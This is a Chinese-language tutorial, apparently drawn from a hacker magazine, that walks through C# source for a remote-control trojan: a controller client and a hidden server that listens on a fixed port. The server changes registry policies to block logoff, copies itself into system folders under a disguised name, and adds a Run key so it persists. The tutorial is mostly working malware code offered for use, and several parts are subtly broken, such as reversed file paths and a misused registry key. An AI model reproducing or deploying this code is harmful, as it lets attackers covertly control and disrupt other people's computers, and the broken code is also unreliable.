C# 木马

   木马的介绍:(参照黑客防线 2000-2001 精华本中的木马原理揭秘)
  
因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
  
使用的技术:
  
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现 C# 的网络编程和注册表的修改。
  
控制端开发:
  
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
  
控制端的开发:
  
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
  1
连接请求
  
使用了 .NET 类中的 System.Net.Sockets.TcpClient ,
  TcpClient(string hostname,int port)
  Hostname
是要控制的主机名称,当然你也可以用 IP 地址。
  Port
是端口。
  // System.EventArgs
包含事件数据类的基类
  private void button7_Click(object sender, System.EventArgs e)
   {
   //
记录操作 , richTextBox 控件中增加操作信息
   richTextBox1.AppendText("
请求连接 " +textBox1.Text +"/r");
   int port =6678;
   try
   {
   //
初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
   client = new TcpClient(textBox1.Text,port);
   }
   catch
   {
   MessageBox.Show("
服务器不在线 ! 确定是否输入主机名称 .");
   richTextBox1.AppendText("
服务器不在线 ! 确定是否输入主机名称 .");
   }
   }//private void buttion
  2
测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。
  //
提供网络访问的数据流
   //private NetworkStream stream;
  
代码如下:
  private void button8_Click(object sender, System.EventArgs e)
   {
   //
纪录操作
   richTextBox1.AppendText("
测试连接 " +"/r");
   try
   {
  
   stream = client.GetStream();
   if(stream.CanWrite)
   {
   //
发送控制码
   string control = "jiance";
   byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
   stream.Write(by,0,by.Length);
   //
下次使用
   stream.Flush();
  //
启动接收反回数据的线程
  //receive
是线程执行的函数,见后面的分析
   threadReceive = new Thread(new ThreadStart(receive));
   threadReceive.Start();
   }
   }
   catch(Exception ee)
   {
   richTextBox1.AppendText (ee.Message+"/r");
   MessageBox.Show(ee.Message);
   }
  }
  3
控制生效的代码
  private void button9_Click(object sender, System.EventArgs e)
   {
   //
这里是确定要发送的控制码, RadioButton 是窗体控件
   if(radioButton1.Checked){ control = form2.zhucex;}
   else if(radioButton2.Checked){ control =form3.zhuces;}
   else if(radioButton3.Checked){ control = warring;}
   else if(radioButton4.Checked){ control =suggest;}
   else if(radioButton5.Checked){ control =form4.mumawe;}
   else if(radioButton6.Checked){ control =drop;}
   if (control =="000000")
   {
   MessageBox.Show("
你没有输入任何控制目标 ! 不发控制信号 ");
   richTextBox1.AppendText("
你没有输入任何控制目标 ! 不发控制信号 ");
   }
   else if(control != "000000")
   {
   try
   {
   //
记录操作
   richTextBox1.AppendText (control + "
正在试图控制 , 等待回应 ......" + "/r");
   stream = client.GetStream();
   if(stream.CanWrite )
   {
   byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
   stream.Write(by,0,by.Length);
   stream.Flush();
   threadReceive =new Thread(new ThreadStart(receive));
   threadReceive.Start();
   }//endif
   }//try
   catch
   {
   richTextBox1.AppendText("
服务器未连接 1 控制无效 !" +"/r");
   MessageBox.Show("
服务器未连接 1 控制无效 !" +"/r");
   }
   }//else if
  }
  
  4
线程执行的函数
  private void receive()
   {
   //
设置读取数据的空间
   byte[] bb = new byte[3];
   //
读取 3 个字节 ,i 为实际读取的字节数
   int i = stream.Read(bb,0,3);
   //
转换成字符串,如果是中文控制码则用 string ss = //System.Text.Encoding.Unicode.GetString(bb);
   string ss = System.Text.Encoding.ASCII.GetString(bb);
   //hjc
为我设置的服务器的返回码 hjc 为连接成功, hkz 为控制成功
   if(ss=="hjc")
   {
   MessageBox.Show("
连接成功 ");
   richTextBox1.AppendText("
连接成功 ");
   }
   if(ss== "hkz")
   {
   richTextBox1.AppendText(control +"
控制成功 "+"/r");
   MessageBox.Show(control +"
控制成功 "+"/r");
   }
  }
  
服务端的开发:
  
要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:
  1
.在 VC# 中,建立一个后台服务程序是很容易的,先建立一个新的 C# Windows 应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性 “ShowInTaskbar” 属性设为 false, 让它运行时不会在任务栏中显示,并将属性 “Windowstate” 属性设为 Mininized 即可,这样窗体就可以隐藏运行了。当然你也可以在 InitializeComponent() 设置,此函数起初始化的作用,在窗体显示前运行,代码如下:
  private void InitializeComponent()
   {
   //
   // Form1
   //
   //
窗体显示的起点和大小
   this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
   this.ClientSize = new System.Drawing.Size(368, 357);
   //
窗体名称
   this.Name = "Form1";
   //
设置属性让它后台运行
   this.ShowInTaskbar = false;
   this.Text = "Form1";
   this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
  }
  2
控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:
  public Form1() //
窗体的构造函数
   {
   //
   // Windows
窗体设计器支持所必需的
   //
   InitializeComponent();
  
   //
   // TODO:
InitializeComponent 调用后添加任何构造函数代码
   //
加入你的侦听代码
   //
端口你可以自已设定 , 我使用了固定的端口
   int port =6678;
   //System.Net.Sockets.TcpListener
是用来在 Tcp 网络中侦听客户端的
   listener = new TcpListener(port);
   //
启动侦听
   listener.Start();
   //
增加接收控制码的线程 , 如果要停止线程可以用 Thread.abort()
  //reControlCode
是线程启动执行的函数,此函数根据接收的控制
  //
控制码选取合适的注册表修改函数
   Thread thread = new Thread(new ThreadStart(reControlCode));
   thread.Start();
   }
  reControlCode
函数如下,完整代码见程序
  private void reControlCode()
   {
   //
设置接收套接字 , 接收 listener.AcceptSocket 是返回已经接收的客户的请求
   socket = listener.AcceptSocket();
   //
如果连接成功执行
   while (socket.Connected)
   {
   //
接收控制码
   byte [] by =new byte[6];
   int i = socket.Receive(by,by.Length ,0);
   string ss = System.Text.Encoding.ASCII.GetString(by);
   //
根据控制码执行不同的功能
  
   //
修改注册表加入编码
   switch (ss)
   {
  case "jiance"://
测试连接 , 返回测试信息
   string str ="hjc";
   byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
   socket.Send(bytee,0,bytee.Length,0);
   break;
   case "zx1000":
   //
修改注册表函数 , 自已定义,见下面分析
   UnLogOff();
   //
返回控制消息
   retMessage();
   break;
  
   case "zx0100":
   //
修改注册表函数
   UnClose();
   //
返回控制消息
   retMessage();
   break;
   //
重复的 case 功能与前面一样 , 略掉
   default:
   break;
   }//case
   }//while
   } //private void reControlCode
  3
C# 中实现注册表的修改,使用了 .NET 类库中的 System.Microsoft.Win32 命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键 SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
  
下面设键值 NoLogOff 1 即可使计算机无法注销。在下面的函数中用 C# 实现对注册表的修改:
  private void UnLogOff()
   {
   //
得到主机的注册表的顶级节点
  Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
  //
设置一个注册表子键的变量
   RegistryKey key1;
   try
   {
   //
函数 RegistryKey.OpenSubkey(string registrykey,bool canwrite) 检索指定的子键
   //registrykey
是用户指定的键值, canwrite true 则可修改,默认为 fasle 不可改
   key1 =
  rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);
   //
设置子键的键名,和值
   key1.SetValue ("NoLogOff",1);
   //
关闭打开的子键
   key1.Close();
   //
警告字符串设定
   mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
键值 Nologoff 被修改!请将它置为 0!";
   }
   catch{}
   //
如果不存在自已建立
   if(key1 ==null)
   {
   try
   {
   //
使用 RegistryKey.CreateSubKey(string mystring) 函数来建立你需要的子键
   RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
   key2.SetValue("NoLogOff",1);
   key2.Close();
   mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
键值 Nologoff 被修改!请将它置为 0!";
   }
   catch{}
   }
  }
  4
.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在 System,System32 的目录下以防被发现。转移的代码分析如下,主要实现的功能是将 D 盘下的木马程序转移到 C://winnnt//system//msdoss.exe ,同时换名称。使用的 .NET 命名空间 System.IO, 它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了 System.IO.File 类。
  private void moveCC1()
   {
   try
   {
   //
函数 File.Move(string sourceFileName,string destFileName) 起移动文件的作用
   //sourceFileName
为要移动的文件名, destFileName 为文件的新路径
   File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe");
   }
   catch {}
   //
将新移的木马程序设为自启动 . 分析和前面一样
   try
   {
   key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
   key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
   key1.Close();
   }
   catch{}
   if(key1 ==null)
   {
   try
   {
   RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
   key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
   key1.Close();
   }
   catch{}
   }
   } //moveCC1()
 
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